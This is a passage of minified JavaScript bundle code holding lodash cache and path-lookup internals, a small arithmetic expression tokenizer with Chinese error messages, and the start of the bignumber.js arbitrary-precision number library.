r===HASH_UNDEFINED$1?void 0:r}return hasOwnProperty$1.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$1(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$1,eq=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,n=assocIndexOf(r,e);return n<0?(++this.size,r.push([e,t])):r[n][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}ListCache$1.prototype.clear=listCacheClear,ListCache$1.prototype.delete=listCacheDelete,ListCache$1.prototype.get=listCacheGet,ListCache$1.prototype.has=listCacheHas,ListCache$1.prototype.set=listCacheSet;var _ListCache=ListCache$1,getNative=_getNative,root=_root,Map$1=getNative(root,"Map"),_Map=Map$1,Hash=_Hash,ListCache=_ListCache,Map=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map||ListCache),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),n=r.size;return r.set(e,t),this.size+=r.size==n?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}MapCache$1.prototype.clear=mapCacheClear,MapCache$1.prototype.delete=mapCacheDelete,MapCache$1.prototype.get=mapCacheGet,MapCache$1.prototype.has=mapCacheHas,MapCache$1.prototype.set=mapCacheSet;var _MapCache=MapCache$1,MapCache=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var n=arguments,o=t?t.apply(this,n):n[0],a=r.cache;if(a.has(o))return a.get(o);var i=e.apply(this,n);return r.cache=a.set(o,i)||a,i};return r.cache=new(memoize$1.Cache||MapCache),r}memoize$1.Cache=MapCache;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,n,o){t.push(n?o.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var r=-1,n=null==e?0:e.length,o=Array(n);++r<n;)o[r]=t(e[r],r,e);return o}var _arrayMap=arrayMap$1,_Symbol=_Symbol$3,arrayMap=_arrayMap,isArray$1=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto=_Symbol?_Symbol.prototype:void 0,symbolToString=symbolProto?symbolProto.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$1(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,n=(t=castPath(t,e)).length;null!=e&&r<n;)e=e[toKey(t[r++])];return r&&r==n?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var n=null==e?void 0:baseGet(e,t);return void 0===n?r:n}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],n=e[1],o={origin_expr:r,origin_fill_data:n,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(n)&&(o.options=n);var a=get$1(n,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return o.expr_err=!0,o}else{if("number"!=typeof r){if(!0===a)return o.expr_err=!0,o;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(o.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{o.fmt_tokens=fmt_tokenizer(s)}catch(e){return o.fmt_err=!0,o}}if(null!==o.options&&o.options._fmt){var c=[];try{c=fmt_tokenizer(o.options._fmt)}catch(e){return o.fmt_err=!0,o}if(null===o.fmt_tokens)o.fmt_tokens=c;else{var l=o.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||o.fmt_tokens.push(e)}))}}return o}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var n,o=state.initial,a=[],i=[],s=function(){a.push(n),e=e.slice(1)},c=function(e){i.push({type:e,value:a.join("")}),a.length=0},l=function(){e=e.slice(1)};e;)switch(n=e[0],o){case state.initial:if(signed.includes(n)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(o=state.number,s()):(o=state.operator,s())}else if(operator.includes(n))o=state.operator,s();else if(/\d/.test(n))o=state.number,s();else if(brackets.includes(n))o=state.bracket;else if(/[a-zA-Z_$]/.test(n))o=state.var,s();else{if(!/\s/.test(n))throw new Error("不识别的字符".concat(n));l()}break;case state.bracket:i.push({type:state.bracket,value:n}),l(),o=state.initial;break;case state.operator:var f=a.at(-1);"*"===n&&"*"===f&&s(),c(state.operator),o=state.initial;break;case state.number:if(/\d/.test(n))s();else if("."===n){if(0===a.length||a.includes("."))throw new Error("非法的小数部分".concat(a.join("")));s()}else"Ee".includes(n)?(o=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.number),o=state.initial);break;case state.scientific:if(/\d/.test(n))s();else if(signed.includes(n)){var h=a.slice(1),p=a.at(-1);h.includes(n)||!/[Ee]/.test(p)?(c(state.scientific),o=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.scientific),o=state.initial);break;case state.var:/[\w_.\[\]"']/.test(n)?s():(c(state.var),o=state.initial);break;default:throw new Error("状态错误")}return 0!==a.length&&(i.push({type:o,value:a.join("")}),a.length=0,o=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var n=[],o=0;o<e.length;o++){var a=e[o];if("var"===a.type){if("undefined"===a.value||"NaN"===a.value)throw new Error("key不应该为:".concat(a.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,a.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(a,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(a.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(a.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(a,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,n.push({type:"number",value:i})}else n.push(a)}return n}function token2postfix(e){for(var t=[],r=[],n=e.map((function(e){return e.value}));n.length>0;){var o=n.shift();if(is_operator(o))if("("===o)t.push(o);else if(")"===o){for(var a=t.pop();"("!==a&&t.length>0;)r.push(a),a=t.pop();if("("!==a)throw"error: unmatched ()"}else{for(;prioraty(o,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(o)}else r.push(o)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,n,o,a,i,s,c,l,u,f=O.prototype={constructor:O,toString:null,valueOf:null},h=new O(1),p=20,_=4,g=-7,m=21,d=-1e7,v=1e7,b=!1,y=1,w=0,S={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},E="0123456789abcdefghijklmnopqrstuvwxyz",$=!0;function O(e,t){var o,a,i,s,c,l,u,f,h=this;if(!(h instanceof O))return new O(e,t);if(null==t){if(e&&!0===e._isBigNumber)return h.s=e.s,void(!e.c||e.e>v?h.c=h.e=null:e.e<d?h.c=[h.e=0]:(h.e=e.e,h.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(h.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>v?h.c=h.e=null:(h.e=s,h.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return n(h,f,l);h.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,E.length,"Base"),10==t&&$)return k(h=new O(e),p+h.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return n(h,f,l,t);if(h.s=1/e<0?(f=f.slice(1),-1):1,O.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else h.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(o=E.slice(0,t),s=c=0,u=f.length;c<u;c++)if(o.indexOf(a=f.charAt(c))<0){if("."==a){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return n(h,String(e),l,t)}l=!1,(s=(f=r(f,t,10,h.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&O.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER||e!==mathfloor(e)))throw Error(tooManyDigits+h.s*e);if((s=s-c-1)>v)h.c=h.e=null;else if(s<d)h.c=[h.e=0];else{if(h.e=s,h.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&h.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)h.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");h.c.push(+f)}}else h.c=[h.e=0]}function C(e,t,r,n){var o,a,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(o=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==n||2==n&&(i<=g||i>=m)?toExponential(c,i):toFixedPoint(c,i,"0");else if(a=(e=k(new O(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==n||2==n&&(t<=a||a<=g)){for(;s<t;c+="0",s++);c=toExponential(c,a)}else if(t-=i,c=toFixedPoint(c,a,"0"),a+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=a-s)>0)for(a+1==s&&(c+=".");t--;c+="0");return e.s<0&&o?"-"+c:c}function A(e,t){for(var r,n=1,o=new O(e[0]);n<e.length;n++){if(!(r=new O(e[n])).s){o=r;break}t.call(o,r)&&(o=r)}return o}function x(e,t,r){for(var n=1,o=t.length;!t[--o];t.pop());for(o=t[0];o>=10;o/=10,n++);return(r=n+r*LOG_BASE-1)>v?e.c=e.e=null:r<d?e.c=[e.e=0]:(e.e=r,e.c=t),e}function k(e,t,r,n){var o,a,i,s,c,l,u,f=e.c,h=POWS_TEN;if(f){e:{for(o=1,s=f[0];s>=10;s/=10,o++);if((a=t-o)<0)a+=LOG_BASE,i=t,u=(c=f[l=0])/h[o-i-1]%10|0;else if((l=mathceil((a+1)/LOG_BASE))>=f.length){if(!n)break e;for(;f.length<=l;f.push(0));c=u=0,o=1,i=(a%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],o=1;s>=10;s/=10,o++);u=(i=(a%=LOG_BASE)-LOG_BASE+o)<0?0:c/h[o-i-1]%10|0}if(n=n||t<0||null!=f[l+1]||(i<0?c:c%h[o-i-1]),n=r<4?(u||n)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||n||6==r&&(a>0?i>0?c/h[o-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,n?(t-=e.e+1,f[0]=h[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==a?(f.length=l,s=1,l--):(f.length=l+1,s=h[LOG_BASE-a],f[l]=i>0?mathfloor(c/h[o-i]%h[i])*s:0),n)for(;;){if(0==l){for(a=1,i=f[0];i>=10;i/=10,a++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);a!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(a=f.length;0===f[--a];f.pop());}e.e>v?e.c=e.e=null:e.e<d&&(e.c=[e.e=0])}return e}function T(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=m?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return O.clone=clone,O.ROUND_UP=0,O.ROUND_DOWN=1,O.ROUND_CEIL=2,O.ROUND_FLOOR=3,O.ROUND_HALF_UP=4,O.ROUND_HALF_DOWN=5,O.ROUND_HALF_EVEN=6,O.ROUND_HALF_CEIL=7,O.ROUND_HALF_FLOOR=8,O.EUCLID=9,O.config=O.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),p=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],m=r[1]):(intCheck(r,-MAX,MAX,t),g=-(m=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),d=r[0],v=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);d=-(v=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw b=!r,Error(bignumberError+"crypto unavailable");b=r}else b=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),y=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),w=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);S=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);$="0123456789"==r.slice(0,10),E=r}}return{DECIMAL_PLACES:p,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,m],RANGE:[d,v],CRYPTO:b,MODULO_MODE:y,POW_PRECISION:w,FORMAT:S,ALPHABET:E}},O.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!O.DEBUG)return!0;var t,r,n=e.c,o=e.e,a=e.s;e:if("[object Array]"=={}.toString.call(n)){if((1===a||-1===a)&&o>=-MAX&&o<=MAX&&o===mathfloor(o)){if(0===n[0]){if(0===o&&1===n.length)return!0;break e}if((t=(o+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(n[0]).length==t){for(t=0;t<n.length;t++)if((r=n[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===n&&null===o&&(null===a||1===a||-1===a))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},O.maximum=O.max=function(){return A(arguments,f.lt)},O.minimum=O.min=function(){return A(arguments,f.gt)},O.random=(o=9007199254740992,a=Math.random()*o&2097151?function(){return mathfloor(Math.random()*o)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,n,o,i,s=0,c=[],l=new O(h);if(null==e?e=p:intCheck(e,0,MAX),o=mathceil(e/LOG_BASE),b)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(o*=2));s<o;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=o/2}else{if(!crypto.randomBytes)throw b=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(o*=7);s<o;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=o/7}if(!b)for(;s<o;)(i=a())<9e15&&(c[s++]=i%1e14);for(o=c[--s],e%=LOG_BASE,o&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(o/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[n=0];else{for(n=-1;0===c[0];c.splice(0,1),n-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(n-=LOG_BASE-s)}return l.e=n,l.c=c,l}),O.sum=function(){for(var e=1,t=arguments,r=new O(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,n){for(var o,a,i=[0],s=0,c=e.length;s<c;){for(a=i.length;a--;i[a]*=t);for(i[0]+=n.indexOf(e.charAt(s++)),o=0;o<i.length;o++)i[o]>r-1&&(null==i[o+1]&&(i[o+1]=0),i[o+1]+=i[o]/r|0,i[o]%=r)}return i.reverse()}return function(n,o,a,i,s){var c,l,u,f,h,g,m,d,v=n.indexOf("."),b=p,y=_;for(v>=0&&(f=w,w=0,n=n.replace(".",""),g=(d=new O(o)).pow(n.length-v),w=f,d.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,a,e),d.e=d.c.length),u=f=(m=r(n,o,a,s?(c=E,e):(c=e,E))).length;0==m[--f];m.pop());if(!m[0])return c.charAt(0);if(v<0?--u:(g.c=m,g.e=u,g.s=i,m=(g=t(g,d,b,y,a)).c,h=g.r,u=g.e),v=m[l=u+b+1],f=a/2,h=h||l<0||null!=m[l+1],h=y<4?(null!=v||h)&&(0==y||y==(g.s<0?3:2)):v>f||v==f&&(4==y||h||6==y&&1&m[l-1]||y==(g.s<0?8:7)),l<1||!m[0])n=h?toFixedPoint(c.charAt(1),-b,c.charAt(0)):c.charAt(0);else{if(m.length=l,h)for(--a;++m[--l]>a;)m[l]=0,l||(++u,m=[1].concat(m));for(f=m.length;!m[--f];);for(v=0,n="";v<=f;n+=c.charAt(m[v++]));n=toFixedPoint(n,u,c.charAt(0))}return n}}(),t=function(){function e(e,t,r){var n,o,a,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((o=l*(a=e[c]%SQRT_BASE)+(n=u*a+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(n/SQRT_BASE|0)+u*i,e[c]=o%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,n){var o,a;if(r!=n)a=r>n?1:-1;else for(o=a=0;o<r;o++)if(e[o]!=t[o]){a=e[o]>t[o]?1:-1;break}return a}function r(e,t,r,n){for(var o=0;r--;)e[r]-=o,o=e[r]<t[r]?1:0,e[r]=o*n+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(n,o,a,i,s){var c,l,u,f,h,p,_,g,m,d,v,b,y,w,S,E,$,C=n.s==o.s?1:-1,A=n.c,x=o.c;if(!(A&&A[0]&&x&&x[0]))return new O(n.s&&o.s&&(A?!x||A[0]!=x[0]:x)?A&&0==A[0]||!x?0*C:C/0:NaN);for(m=(g=new O(C)).c=[],C=a+(l=n.e-o.e)+1,s||(s=BASE,l=bitFloor(n.e/LOG_BASE)-bitFloor(o.e/LOG_BASE),C=C/LOG_BASE|0),u=0;x[u]==(A[u]||0);u++);if(x[u]>(A[u]||0)&&l--,C<0)m.push(1),f=!0;else{for(w=A.length,E=x.length,u=0,C+=2,(h=mathfloor(s/(x[0]+1)))>1&&(x=e(x,h,s),A=e(A,h,s),E=x.length,w=A.length),y=E,v=(d=A.slice(0,E)).length;v<E;d[v++]=0);$=x.slice(),$=[0].concat($),S=x[0],x[1]>=s/2&&S++;do{if(h=0,(c=t(x,d,E,v))<0){if(b=d[0],E!=v&&(b=b*s+(d[1]||0)),(h=mathfloor(b/S))>1)for(h>=s&&(h=s-1),_=(p=e(x,h,s)).length,v=d.length;1==t(p,d,_,v);)h--,r(p,E<_?$:x,_,s),_=p.length,c=1;else 0==h&&(c=h=1),_=(p=x.slice()).length;if(_<v&&(p=[0].concat(p)),r(d,p,v,s),v=d.length,-1==c)for(;t(x,d,E,v)<1;)h++,r(d,E<v?$:x,v,s),v=d.length}else 0===c&&(h++,d=[0]);m[u++]=h,d[0]?d[v++]=A[y]||0:(d=[A[y]],v=1)}while((y++<w||null!=d[0])&&C--);f=null!=d[0],m[0]||m.splice(0,1)}if(s==BASE){for(u=1,C=m[0];C>=10;C/=10,u++);k(g,a+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,n=function(e,t,r,n){var o,a=r?t:t.replace(u,"");if(l.test(a))e.s=isNaN(a)?null:a<0?-1:1;else{if(!r&&(a=a.replace(i,(function(e,t,r){return o="x"==(r=r.toLowerCase())?16:"b"==r?2:8,n&&n!=o?e:t})),n&&(o=n,a=a.replace(s,"$1").replace(c,"0.$1")),t!=a))return new O(a,o);if(O.DEBUG)throw Error(bignumberError+"Not a"+(n?" base "+n:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new O(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new O(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,n,o,a=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),k(new O(a),e+a.e+1,t);if(!(r=a.c))return null;if(n=((o=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,o=r[o])for(;o%10==0;o/=10,n--);return n<0&&(n=0),n},f.dividedBy=f.div=function(e,r){return t(this,new O(e,r),p,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new O(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,n,o,a,i,s,c,l,u=this;if((e=new O(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+T(e));if(null!=t&&(t=new O(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new O(Math.pow(+T(u),i?e.s*(2-isOdd(e)):+T(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new O(NaN);(n=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return a=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(a=1/a),new O(s?1/a:a);w&&(a=mathceil(w/LOG_BASE+2))}for(i?(r=new O(.5),s&&(e.s=1),c=isOdd(e)):c=(o=Math.abs(+T(e)))%2,l=new O(h);;){if(c){if(!(l=l.times(u)).c)break;a?l.c.length>a&&(l.c.length=a):n&&(l=l.mod(t))}if(o){if(0===(o=mathfloor(o/2)))break;c=o%2}else if(k(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(o=+T(e)))break;c=o%2}u=u.times(u),a?u.c&&u.c.length>a&&(u.c.length=a):n&&(u=u.mod(t))}return n?l:(s&&(l=h.div(l)),t?l.mod(t):a?k(l,w,_,undefined):l)},f.integerValue=function(e){var t=new O(this);return null==e?e=_:intCheck(e,0,8),k(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new O(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new O(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new O(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new O(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new O(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,n,o,a,i=this,s=i.s;if(t=(e=new O(e,t)).s,!s||!t)return new O(NaN);if(s!=t)return e.s=-t,i.plus(e);var 